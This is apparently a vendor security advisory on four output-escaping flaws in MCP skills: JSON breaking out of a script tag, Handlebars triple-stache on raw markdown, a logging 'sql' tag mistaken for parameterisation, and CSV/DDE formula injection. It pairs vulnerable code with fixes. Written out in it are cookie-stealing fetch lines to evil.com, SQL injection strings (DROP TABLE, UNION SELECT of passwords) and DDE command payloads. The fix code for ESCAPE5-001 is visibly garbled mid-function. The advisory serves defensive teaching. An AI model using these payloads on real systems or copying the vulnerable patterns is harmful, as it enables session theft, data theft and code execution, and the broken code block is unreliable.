Claude skill output escaping failures in JSON serialization and CSV generation — SA-SKL-ESCAPE5
Output encoding bugs do not always look like obvious HTML injection. SA-SKL-ESCAPE5 covers four subtler escaping gaps that appear in MCP skill implementations: JSON.stringify embedded directly into an HTML <script> tag without Unicode-escaping angle brackets (enabling script tag breakout); Handlebars triple-stache applied to markdown-rendered user content when the markdown renderer passes raw HTML through; a tagged template literal used as a SQL parameterization mechanism that turns out to be a custom logging tag with no parameterization semantics; and CSV report generation that omits formula-injection escaping, allowing spreadsheet DDE commands to execute when a victim opens the exported file. Each pattern is a production-quality mistake found in real skill codebases where the developer believed output was safe.
Why output encoding gaps persist in production MCP skills
The common thread across all four SA-SKL-ESCAPE5 patterns is misplaced trust in an intermediate transformation step. With JSON.stringify, the developer trusts that JSON encoding produces safe HTML — it does not, because </script> is a syntactically valid JSON string value that terminates the HTML script block. With the Handlebars triple-stache pattern, the developer trusts that the markdown renderer has already sanitized the input — it has not, because markdown-it's html: true option deliberately passes raw HTML through for use cases like documentation rendering. With the SQL tagged template, the developer trusts that a tag named sql parameterizes the query — it does not, because the tag was written as a development logger, not an ORM adapter. With CSV generation, the developer may never think about formula injection at all, treating CSV as a plain-text format where injection is impossible because there is no script execution model — but spreadsheet applications with DDE support contradict that assumption.
MCP skills that generate any form of structured output — HTML reports, database queries, CSV exports, JSON responses embedded in HTML — must apply the correct escaping transformation at the final output boundary rather than relying on upstream processing steps to have already sanitized the data. SkillAudit's SA-SKL-ESCAPE5 rules detect each of these boundary failures using static analysis of the skill's template and serialization code.
SA-SKL-ESCAPE5 in scope: ESCAPE5-001 (JSON.stringify in HTML <script> tag without angle-bracket Unicode escaping — </script> in a JSON value terminates the script block), ESCAPE5-002 (Handlebars triple-stache {{{markdownBody}}} on markdown-rendered content with html: true — raw HTML passes through, disabling Handlebars encoding), ESCAPE5-003 (SQL tagged template literal naming collision — custom sql`` tag is a logger, not a parameterizer; plain string interpolation executes in SQL), ESCAPE5-004 (CSV formula injection via leading = + - @ characters triggering DDE commands in spreadsheet applications).
ESCAPE5-001 — JSON.stringify in HTML script tag terminated by </script> in value
A common server-side rendering pattern passes configuration or data to the browser by serializing a JavaScript object directly into an inline <script> tag: <script>var config = ${JSON.stringify(serverData)};</script>. This pattern is widely used in Next.js, Express, and other Node.js frameworks and is frequently described as "safe" because JSON.stringify produces valid JSON — but valid JSON is not safe for direct embedding in an HTML script block. The HTML parser does not understand JavaScript or JSON; it recognizes the character sequence </script> as the closing tag of the script element regardless of whether it appears inside a string literal. When a user-controlled string value contains the substring </script>, the browser closes the script element at that point, and content after it is parsed as HTML rather than JavaScript.
An attacker who controls a field that flows into the serialized object — such as a username, profile display name, page title, or any other string stored in a database and later embedded into a server-rendered page — can set it to a value like </script><script>alert(document.cookie)//. The resulting HTML is <script>var config = {"name":"</script><script>alert(document.cookie)//"}</script>, which the browser parses as: script block containing var config = {"name":" (a syntax error, discarded), followed by a new script block containing alert(document.cookie)//"}; (executes). Similarly, the string <!-- inside a script tag opens an HTML comment that can suppress subsequent script content, and & characters may cause double-encoding bugs in some rendering pipelines. The fix is to Unicode-escape angle brackets, ampersands, and U+2028/U+2029 line separators in the JSON output before inserting it into the HTML.
// VULNERABLE — JSON.stringify directly in script tag, user object contains </script>
// Server-side Express route handler:
app.get('/dashboard', async (req, res) => {
const user = await db.users.findById(req.session.userId);
// user.displayName is set by the user and stored in the database.
// An attacker registers with displayName:
// </script><script>fetch('https://evil.com/steal?c='+document.cookie)//
//
// JSON.stringify produces the valid JSON string:
// {"displayName":"</script><script>fetch('https://evil.com/steal?c='+document.cookie)//","role":"user"}
//
// But when inserted into the script tag below:
// <script>var __CONFIG__ = {"displayName":"</script>...
// ^^^^^^^^^
// The HTML parser closes the <script> block HERE.
// The text after it is parsed as raw HTML, not JS:
// <script>fetch('https://evil.com/steal?c='+document.cookie)//","role":"user"};</script>
// This new script block executes, stealing the session cookie.
const configJson = JSON.stringify({
displayName: user.displayName, // VULNERABLE: user-controlled, unescaped
role: user.role,
preferences: user.preferences, // Also vulnerable if any string field is user-controlled
});
// VULNERABLE: raw JSON inserted into script tag
res.send(`
<!doctype html>
<html>
<head><title>Dashboard</title></head>
<body>
<script>
var __CONFIG__ = ${configJson}; // <-- VULNERABLE
window.__CONFIG__ = __CONFIG__;
</script>
...
</body>
</html>
`);
});
// The same vulnerability exists when using template engines:
// EJS: <script>var data = <%- JSON.stringify(userData) %>;</script>
// Pug: script var data = !{JSON.stringify(userData)}
// Nunjucks: <script>var data = {{ userData | dump | safe }};</script>
// All of these allow </script> in userData to close the script block.
// FIXED — Unicode-escape angle brackets and special chars in JSON for script tag embedding
// Option A: manual replacement function (zero dependencies)
function jsonForScriptTag(value: unknown): string {
return JSON.stringify(value)
// < and > can form </script> or <!-- — escape to Unicode
.replace(/</g, '\\u003c')
.replace(/>/g, '\\u003e')
// & can cause double-encoding in some pipelines
.replace(/&/g, '\\u0026')
// U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR are valid in JSON strings
// but invalid as literal characters in JavaScript string literals (pre-ES2019)
.replace(/
/g, '\\u2028')
.replace(/
/g, '\\u2029');
// Result for displayName = "</script><script>alert(1)//":
// {"displayName":" cannot close tag
window.__CONFIG__ = __CONFIG__;
</script>
...
</body>
</html>
`);
});
// FIXED for template engines:
// EJS: <script>var data = <%- jsonForScriptTag(userData) %>;</script>
// Pug: script var data = !{jsonForScriptTag(userData)}
// Note: <%- and != are correct here because jsonForScriptTag() already applied
// the necessary escaping for the script-tag context (not HTML escaping).
// HTML-escaped output (<%= and =) would double-encode and produce \\u003c in JS,
// which is wrong — use the script-safe function + raw output for this pattern.
<script> tag via ${JSON.stringify(userObj)} or a template engine equivalent without Unicode-escaping angle brackets — an attacker who sets their display name or any other string field to </script><script>fetch('https://evil.com?c='+document.cookie)// causes the HTML parser to close the script element and execute the injected script in every session that renders that page; fix by applying .replace(/</g,'\\u003c').replace(/>/g,'\\u003e').replace(/&/g,'\\u0026') to the JSON.stringify output before inserting it into the script tag, or use the serialize-javascript npm package which handles all edge cases including U+2028/U+2029 line separator characters. Detection: SkillAudit flags template expressions that call JSON.stringify and pass the result directly to an unescaped output position inside a <script> element.ESCAPE5-002 — Handlebars triple-stache on markdown-rendered content with html: true
MCP skills that render user-authored documentation, wiki pages, or comment threads often use a markdown renderer like markdown-it or marked to convert markdown syntax to HTML, then pass the result to a Handlebars template for final page assembly. The developer correctly identifies that Handlebars' double-stache {{markdownBody}} would HTML-encode the already-rendered HTML tags — turning <p>Hello</p> into the literal text <p>Hello</p> rather than a paragraph element — and switches to triple-stache {{{markdownBody}}} to allow the HTML through. This reasoning is correct in isolation: for markdown that has been rendered and sanitized, triple-stache is the right choice. The critical mistake is omitting the sanitization step, particularly when the markdown renderer is configured with html: true.
The markdown-it library's html: true option explicitly enables raw HTML passthrough: any HTML tags embedded in the markdown source are included verbatim in the rendered output. This option is documented as potentially unsafe and is intended for trusted content. When a user submits markdown like [click me](javascript:void(0))" onmouseover="alert(document.cookie) or simply embeds a raw <script>alert(1)</script> block, markdown-it with html: true passes the script tag through to the HTML output, and Handlebars' triple-stache then emits it without further encoding. The combined effect is stored XSS from any markdown field visible to other users. Even without html: true, certain markdown-it plugins extend the allowed tag set in ways that enable injection, so DOMPurify sanitization is the correct defense regardless of renderer configuration.
// VULNERABLE — Handlebars triple-stache on markdown-it output without sanitization
import Handlebars from 'handlebars';
import MarkdownIt from 'markdown-it';
// markdown-it initialized with html: true — raw HTML passthrough is ENABLED
// Documentation: "Enable HTML tags in source. This is an unsafe option."
const md = new MarkdownIt({
html: true, // VULNERABLE: raw HTML passes through the renderer unchanged
linkify: true,
typographer: true,
});
const templateSource = `
<!doctype html>
<html>
<body>
<h1>{{pageTitle}}</h1>
{{! VULNERABLE: triple-stache on markdown-it output }}
{{! Developer thinks: "the markdown renderer already escaped it" }}
{{! Reality: markdown-it with html:true DOES NOT escape — it passes raw HTML through }}
{{{markdownBody}}}
{{! Also vulnerable: using SafeString helper without sanitization }}
{{#each comments}}
<div class="comment">
<strong>{{author}}</strong>
{{! VULNERABLE: comment body rendered with html:true markdown-it, then triple-stache }}
{{{renderedBody}}}
</div>
{{/each}}
</body>
</html>
`;
const template = Handlebars.compile(templateSource);
async function renderPage(page: { title: string; markdownSource: string }) {
// markdown-it with html:true — attacker submits:
// "Normal text\n\n<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"
// md.render() outputs:
// "<p>Normal text</p>\n<script>fetch('https://evil.com/steal?c='+document.cookie)</script>\n"
// The <script> tag passes through unchanged.
const markdownHtml = md.render(page.markdownSource); // Raw HTML from renderer
return template({
pageTitle: page.title,
markdownBody: markdownHtml, // VULNERABLE: passed to {{{markdownBody}}} without sanitization
});
}
// Even without html:true, markdown-it plugins can introduce injection:
// const md = new MarkdownIt().use(require('markdown-it-footnote'));
// Some plugins allow embedded HTML in footnote definitions.
// Always sanitize regardless of renderer configuration.
// FIXED — sanitize markdown-it output with DOMPurify before passing to triple-stache
import Handlebars from 'handlebars';
import MarkdownIt from 'markdown-it';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
// Set up DOMPurify with a jsdom window (server-side use)
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window as unknown as Window);
// Define a strict allowlist for markdown-rendered user content
const MARKDOWN_SANITIZE_OPTIONS = {
ALLOWED_TAGS: [
'p', 'br', 'strong', 'em', 'del', 'code', 'pre',
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'ul', 'ol', 'li',
'blockquote',
'a', 'img',
'table', 'thead', 'tbody', 'tr', 'th', 'td',
'hr',
],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
// Force all links to safe protocols — prevents javascript: href
ALLOWED_URI_REGEXP: /^(https?:\/\/|\/|#)/,
// Explicitly block event handler attributes (belt-and-suspenders)
FORBID_ATTR: ['style', 'class', 'id', 'onerror', 'onload', 'onclick', 'onmouseover'],
// Strip <script>, <iframe>, <object>, <embed> and all other dangerous elements
FORCE_BODY: true,
};
// markdown-it configuration: html:false (default) — raw HTML is escaped, not passed through
// Use html:false for all user-generated content; html:true only for trusted internal docs
const md = new MarkdownIt({
html: false, // FIXED: raw HTML tags in markdown are escaped, not rendered
linkify: true,
typographer: true,
});
const templateSource = `
<!doctype html>
<html>
<body>
<h1>{{pageTitle}}</h1>
{{! FIXED: triple-stache is acceptable here ONLY because markdownBody was
run through DOMPurify.sanitize() before being passed to the template }}
{{{markdownBody}}}
{{#each comments}}
<div class="comment">
<strong>{{author}}</strong>
{{! FIXED: each comment's renderedBody was sanitized before template rendering }}
{{{renderedBody}}}
</div>
{{/each}}
</body>
</html>
`;
const template = Handlebars.compile(templateSource);
async function renderPageSafe(page: { title: string; markdownSource: string }) {
// Step 1: render Markdown to HTML (html:false — no raw HTML passthrough)
const rawHtml = md.render(page.markdownSource);
// Step 2: sanitize — strips any remaining dangerous elements/attributes
const cleanHtml = DOMPurify.sanitize(rawHtml, MARKDOWN_SANITIZE_OPTIONS);
// Step 3: pass sanitized HTML to Handlebars via triple-stache
// Triple-stache is correct here: we want the rendered HTML tags, not escaped text
return template({
pageTitle: page.title, // double-stache in template — Handlebars escapes this
markdownBody: cleanHtml, // FIXED: sanitized HTML — safe for triple-stache
});
}
// Alternative: avoid triple-stache entirely by using {{ }} with |htmlSafe Handlebars helper
// and marking the sanitized string with Handlebars.SafeString():
Handlebars.registerHelper('safeMarkdown', (source: string) => {
const rawHtml = md.render(source);
const cleanHtml = DOMPurify.sanitize(rawHtml, MARKDOWN_SANITIZE_OPTIONS);
return new Handlebars.SafeString(cleanHtml); // SafeString prevents double-encoding
});
// Template usage: {{{safeMarkdown markdownSource}}}
// Or with double-stache via SafeString: {{safeMarkdown markdownSource}}
{{{markdownBody}}} without DOMPurify sanitization, and the markdown-it instance is configured with html: true which passes raw HTML through the renderer — an attacker who submits markdown containing <script>fetch('https://evil.com/steal?c='+document.cookie)</script> achieves stored XSS in every user who views the page; fix by setting html: false in markdown-it options and running all rendered HTML through DOMPurify.sanitize(rawHtml, { ALLOWED_TAGS: [...], ALLOWED_URI_REGEXP: /^(https?:\/\/|\/|#)/ }) before passing to the Handlebars template, using triple-stache only after sanitization or encapsulating both steps in a Handlebars.registerHelper that returns a SafeString. Detection: SkillAudit flags Handlebars templates where {{{ triple-stache is used on a variable that originates from a markdown renderer call without an intervening DOMPurify sanitize call in the data flow.ESCAPE5-003 — SQL tagged template literal mismatch — custom logging tag, not parameterization
JavaScript tagged template literals provide a mechanism for libraries to intercept string interpolation and process values before they are assembled into the final string. Database libraries like pg-sql2, slonik, and sql-template-strings use this mechanism to implement safe parameterized queries: sql`SELECT * FROM users WHERE id = ${id}` causes the library to separate the static SQL fragments from the interpolated values and pass them to the database driver as a prepared statement with bound parameters. This is safe and idiomatic when the correct library's sql tag is in scope. The vulnerability arises when the identifier sql in a codebase refers to a different function — specifically a development utility that was written to format SQL for logging purposes by simply string-interpolating the values into the query text.
This naming collision is surprisingly common. A developer adds a quick const sql = (strings, ...values) => String.raw({ raw: strings }, ...values) helper to format SQL for log output, commits it to a shared utilities file, and over time other developers import sql from that utilities file when writing database queries — believing it to be the parameterization tag they expect. The resulting code looks identical to safe parameterized queries: const query = sql`SELECT * FROM orders WHERE user_id = ${userId}`. Only the import statement reveals that sql is the logger, not the ORM tag. When userId is attacker-controlled (e.g., passed from a request parameter), the string interpolation executes the attack payload directly in the SQL query. The fix is to enforce a single canonical import path for the SQL tag throughout the codebase, backed by an ESLint rule that rejects other definitions.
// VULNERABLE — sql tagged template literal that is actually a formatting/logging helper
// utils/sql-logger.ts — a utility written for development SQL logging
// DANGEROUS: this tag just does string interpolation — it is NOT a parameterization tag
export const sql = (
strings: TemplateStringsArray,
...values: unknown[]
): string => {
// Simply joins strings and values — equivalent to a plain template literal
// This is fine for LOGGING, but catastrophically wrong for database queries
return strings.reduce((acc, str, i) => acc + str + (values[i] ?? ''), '');
};
// ----------------------------------------------------------------
// orders.service.ts — developer imports sql from the wrong module
// ----------------------------------------------------------------
import { sql } from '../utils/sql-logger'; // WRONG import — logging helper, not ORM tag
import { db } from '../database';
// Developer writes this thinking it is a parameterized query.
// It looks identical to safe code — only the import is wrong.
async function getOrdersByUser(userId: string): Promise<Order[]> {
// If userId = "1 OR 1=1" then query becomes:
// SELECT * FROM orders WHERE user_id = 1 OR 1=1
// All orders are returned.
//
// If userId = "1; DROP TABLE orders; --" then query becomes:
// SELECT * FROM orders WHERE user_id = 1; DROP TABLE orders; --
// The orders table is dropped (if the driver executes multiple statements).
//
// If userId = "1 UNION SELECT username, password, null, null FROM users --"
// All usernames and passwords are returned with the orders.
const query = sql`SELECT * FROM orders WHERE user_id = ${userId}`;
// ^^ VULNERABLE: sql is the logging tag — this is plain string interpolation
return db.query(query); // query is a string with userId interpolated verbatim
}
// A subtler variant: mixing real and fake sql tags in the same codebase
import { sql as safeSQL } from 'slonik'; // Real parameterization tag
import { sql as logSQL } from '../utils/sql-logger'; // Logging helper
// Developers sometimes copy-paste the query pattern and get the import wrong.
// Code review and linting are the only reliable defenses.
// FIXED — always use the ORM's parameterization function; enforce with ESLint; never string-interpolate SQL
// OPTION A: Use the database driver's native parameterized query API directly
// (pg — PostgreSQL native driver)
import { Pool } from 'pg';
const pool = new Pool({ connectionString: process.env.DATABASE_URL });
async function getOrdersByUserSafe_A(userId: string): Promise<Order[]> {
// $1 is a placeholder; userId is passed as a bound parameter
// The driver sends the query and parameters separately to PostgreSQL
// SQL injection via userId is structurally impossible with this API
const result = await pool.query(
'SELECT * FROM orders WHERE user_id = $1',
[userId] // Bound parameter — never interpolated into the SQL string
);
return result.rows;
}
// OPTION B: Use an ORM with a genuine sql tag (slonik example)
import { createPool, sql } from 'slonik';
const pool = createPool(process.env.DATABASE_URL!);
async function getOrdersByUserSafe_B(userId: string): Promise<readonly Order[]> {
return pool.many(
// slonik's sql tag creates a SqlFragment — not a string
// The tagged template result is a structured object: { sql: 'SELECT ...', values: [userId] }
// The driver uses this to construct a prepared statement — no string interpolation
sql`SELECT * FROM orders WHERE user_id = ${userId}`
// ^^ SAFE: this is slonik's sql tag, which builds a parameterized SqlFragment
);
}
// OPTION C: Eliminate the naming ambiguity with ESLint
// .eslintrc.js — forbid importing sql from paths that are not the approved ORM module
// Using the import/no-restricted-paths rule or a custom rule:
// {
// "rules": {
// "no-restricted-imports": ["error", {
// "paths": [{
// "name": "../utils/sql-logger",
// "message": "Do not import sql from sql-logger. Use 'slonik' for database queries."
// }]
// }]
// }
// }
// OPTION D: Rename the logging helper to avoid collision
// In utils/sql-logger.ts, export it as formatSqlForLog, not sql:
export const formatSqlForLog = (
strings: TemplateStringsArray,
...values: unknown[]
): string => strings.reduce((acc, str, i) => acc + str + (values[i] ?? ''), '');
// Now the name does not collide with the ORM's sql tag, and misuse is immediately visible.
// OPTION E: add a no-template-curly-in-string ESLint rule as a belt-and-suspenders check
// This rule flags accidental template literal interpolations in SQL string patterns:
// { "no-template-curly-in-string": "error" }
// (catches cases where template literals were used without a tag at all)
sql`SELECT * FROM orders WHERE user_id = ${userId}` that resembles a parameterized query but the sql identifier resolves to a custom development-logging helper that performs plain string interpolation rather than building a bound-parameter query object — an attacker who controls userId can inject arbitrary SQL including UNION SELECT for data extraction or statement-termination attacks; fix by using the database driver's native parameterized API (pool.query('...WHERE id = $1', [id])) or a genuine ORM tag (slonik's sql), renaming the logging helper to formatSqlForLog to prevent naming collision, and adding an import/no-restricted-paths ESLint rule that forbids importing any identifier named sql from non-ORM paths. Detection: SkillAudit traces the definition of any sql tagged template tag in the import chain and flags cases where the tag implementation performs string concatenation rather than building a parameterized query object.ESCAPE5-004 — CSV formula injection via leading = + - @ characters triggering DDE
CSV (Comma-Separated Values) is a plain text format with no inherent script execution model, so many developers treat it as safe for unescaped user data. The vulnerability arises not from the CSV parser but from spreadsheet applications that interpret cell values beginning with =, +, -, @, \t (tab), or \r (carriage return) as formulas or macro invocations when the CSV is opened in Microsoft Excel, Google Sheets, LibreOffice Calc, or similar tools. The most dangerous payloads use Dynamic Data Exchange (DDE), a legacy Windows interprocess communication mechanism that some Excel versions still support: a cell value like =CMD|'/C calc'!A0 causes Excel to invoke the Windows command shell and execute an arbitrary command when the user opens the file and allows the prompt. The MITRE ATT&CK framework documents this as a known technique for initial access and lateral movement (T1189 / T1566).
MCP skills that generate CSV exports — audit reports, user data exports, analytics dashboards, findings summaries — are directly affected if any exported field can contain user-supplied strings. Report name, finding description, affected package name, URL, username, email address, organization name, and free-text comment fields are all potential injection vectors. The fix requires checking every string value before it is written to the CSV and prefixing formula-trigger characters with a character that neutralizes formula interpretation. The two standard approaches are prefixing with a tab character (which most spreadsheets treat as whitespace, breaking the formula trigger) or prefixing with a single quote (which forces string interpretation in Excel), or escaping by double-quoting the entire field and ensuring the first character after the quote is not a formula trigger.
// VULNERABLE — CSV export with no formula injection escaping
import { createWriteStream } from 'fs';
import { createObjectCsvWriter } from 'csv-writer'; // common npm package
interface AuditFinding {
id: string;
packageName: string; // User-supplied: could be "=CMD|'/C calc'!A0"
severity: string;
description: string; // User-supplied: could be "+cmd|' /C calc'!A0"
reportedBy: string; // User-supplied email or username
score: number;
}
// VULNERABLE: csv-writer (and most CSV libraries) do not escape formula triggers
async function exportFindingsCsv(findings: AuditFinding[], outputPath: string): Promise<void> {
const csvWriter = createObjectCsvWriter({
path: outputPath,
header: [
{ id: 'id', title: 'ID' },
{ id: 'packageName', title: 'Package Name' },
{ id: 'severity', title: 'Severity' },
{ id: 'description', title: 'Description' },
{ id: 'reportedBy', title: 'Reported By' },
{ id: 'score', title: 'Score' },
],
});
// If packageName = "=CMD|'/C calc'!A0", the CSV row is:
// "finding-123","=CMD|'/C calc'!A0","HIGH","...",
// When Excel opens this CSV and processes the formula cell:
// Excel prompts "This workbook contains automatic links" or silently executes DDE
// On some configurations, this runs: cmd.exe /C calc
// With a more dangerous payload: cmd /C "powershell -enc [base64 payload]"
// This achieves arbitrary code execution on the analyst's machine.
await csvWriter.writeRecords(findings); // VULNERABLE: no formula escaping
}
// Also vulnerable: hand-crafted CSV string construction
function findingsToCsvString(findings: AuditFinding[]): string {
const header = 'ID,Package Name,Severity,Description,Reported By,Score\n';
const rows = findings.map(f =>
// VULNERABLE: description and packageName may start with = + - @
`"${f.id}","${f.packageName}","${f.severity}","${f.description}","${f.reportedBy}",${f.score}`
);
return header + rows.join('\n');
}
// Attacker submits packageName: =HYPERLINK("http://evil.com","click")
// Result: an active hyperlink in the spreadsheet that exfiltrates context on click.
// Attacker submits reportedBy: @SUM(1+1)*cmd|'/C calc'!A0
// @ trigger also executes DDE in some Excel versions.
// FIXED — CSV formula injection escaping applied to all string fields
// The escaping rule: if a string field's first character is =, +, -, @, \t, or \r,
// prefix it with a tab (\t) or single quote (') to prevent formula interpretation.
// Most spreadsheet applications treat a leading tab as whitespace, not a formula trigger.
// A single quote forces string mode in Excel (the quote is not shown in the cell).
function escapeForCsv(value: string | number | null | undefined): string {
if (value === null || value === undefined) return '';
if (typeof value === 'number') return String(value); // Numbers are never formulas
const str = String(value);
if (str.length === 0) return str;
// Check if the first character is a formula trigger
const firstChar = str[0];
if (firstChar === '=' || firstChar === '+' || firstChar === '-' ||
firstChar === '@' || firstChar === '\t' || firstChar === '\r') {
// Prefix with tab — neutralizes formula trigger in Excel and Google Sheets
// The tab appears as whitespace in the cell, the value is still readable
return '\t' + str;
// Alternative: return "'" + str; (single quote — Excel shows value without quote)
}
return str;
}
// Alternative: use the csv-string library which handles quoting correctly,
// then apply formula escaping on top
// npm install csv-string
import CSV from 'csv-string';
function safeStringify(value: unknown): string {
return escapeForCsv(value as string);
}
// FIXED: apply escapeForCsv to every user-influenced string field
function findingsToCsvStringSafe(findings: AuditFinding[]): string {
const header = 'ID,Package Name,Severity,Description,Reported By,Score\n';
const rows = findings.map(f => [
// ID is system-generated — no formula risk, but escape defensively
escapeForCsv(f.id),
// User-influenced fields — always escape
escapeForCsv(f.packageName),
escapeForCsv(f.severity),
escapeForCsv(f.description),
escapeForCsv(f.reportedBy),
// Numeric score — no formula risk
f.score,
].map(v => `"${String(v).replace(/"/g, '""')}"`) // Also escape embedded quotes
.join(','));
return header + rows.join('\n');
}
// FIXED: using csv-writer with pre-escaped data
async function exportFindingsCsvSafe(findings: AuditFinding[], outputPath: string): Promise<void> {
const csvWriter = createObjectCsvWriter({
path: outputPath,
header: [
{ id: 'id', title: 'ID' },
{ id: 'packageName', title: 'Package Name' },
{ id: 'severity', title: 'Severity' },
{ id: 'description', title: 'Description' },
{ id: 'reportedBy', title: 'Reported By' },
{ id: 'score', title: 'Score' },
],
});
// Pre-escape all user-influenced string fields before passing to csv-writer
const safefindings = findings.map(f => ({
id: f.id, // System-generated
packageName: escapeForCsv(f.packageName), // User-influenced
severity: f.severity, // Enum — safe
description: escapeForCsv(f.description), // User-influenced
reportedBy: escapeForCsv(f.reportedBy), // User-supplied email/username
score: f.score, // Numeric — safe
}));
await csvWriter.writeRecords(safefindings); // FIXED: formula triggers neutralized
}
// Unit test cases for escapeForCsv:
// escapeForCsv("=CMD|'/C calc'!A0") → "\t=CMD|'/C calc'!A0"
// escapeForCsv("+cmd|' /C calc'!A0") → "\t+cmd|' /C calc'!A0"
// escapeForCsv("-2+3") → "\t-2+3"
// escapeForCsv("@SUM(1+2)") → "\t@SUM(1+2)"
// escapeForCsv("normal text") → "normal text" (unchanged)
// escapeForCsv(42) → "42" (number, unchanged)
// escapeForCsv("") → "" (empty, unchanged)
=, +, -, @, \t, \r) that cause spreadsheet applications including Microsoft Excel and Google Sheets to execute DDE commands or formulas when the file is opened; an attacker who sets their username to =CMD|'/C powershell -enc [payload]'!A0 achieves remote code execution on any analyst machine that opens the exported report; fix by applying const escapeCSV = (v) => /^[=+\-@\t\r]/.test(String(v)) ? '\t' + v : v to every user-influenced string field before writing to the CSV, or use the csv-string library with formula escaping enabled. Detection: SkillAudit flags CSV generation code where string fields originating from user input, database records with user-editable content, or external API responses are written to CSV without an intervening formula-escape function call.Detection summary
| ID | Severity | Pattern | Fix |
|---|---|---|---|
| ESCAPE5-001 | HIGH | JSON.stringify(userObj) embedded directly in <script> tag — </script> in a JSON string value terminates the HTML script block; attacker breaks out and injects new script |
JSON.stringify(obj).replace(/</g,'\\u003c').replace(/>/g,'\\u003e').replace(/&/g,'\\u0026') or use serialize-javascript npm package |
| ESCAPE5-002 | HIGH | Handlebars {{{markdownBody}}} triple-stache on markdown-it output with html: true — raw HTML passthrough from renderer, Handlebars encoding disabled; stored XSS from markdown field |
Set html: false in markdown-it; run output through DOMPurify.sanitize() with strict allowlist before triple-stache; or use Handlebars.registerHelper returning SafeString after sanitization |
| ESCAPE5-003 | HIGH | SQL tagged template sql`SELECT ... WHERE id = ${id}` where sql resolves to a custom logging helper performing plain string interpolation, not a parameterization tag — SQL injection via any interpolated value |
Use native driver parameterized API (pool.query('...=$1', [id])); rename logging helper to formatSqlForLog; add ESLint no-restricted-imports rule blocking non-ORM sql imports |
| ESCAPE5-004 | HIGH | CSV export of user-supplied string fields without formula-trigger escaping — values starting with = + - @ execute DDE commands in Excel/Sheets when the file is opened |
Prefix formula-trigger characters with \t or ': const escapeCSV = (v) => /^[=+\-@\t\r]/.test(v) ? '\t' + v : v; apply to every user-influenced string field before CSV write |
Related patterns: SA-SKL-ESCAPE4 covers template injection patterns in Handlebars, EJS, and Pug — triple-stache misuse, <%- %> unescaped output, Pug != operator, and dynamic template string construction with user data. MCP server SSRF covers server-side request forgery patterns that complement output escaping vulnerabilities — in some exploit chains, an XSS payload from an ESCAPE5-001 breakout is used to trigger SSRF via the victim's authenticated browser session.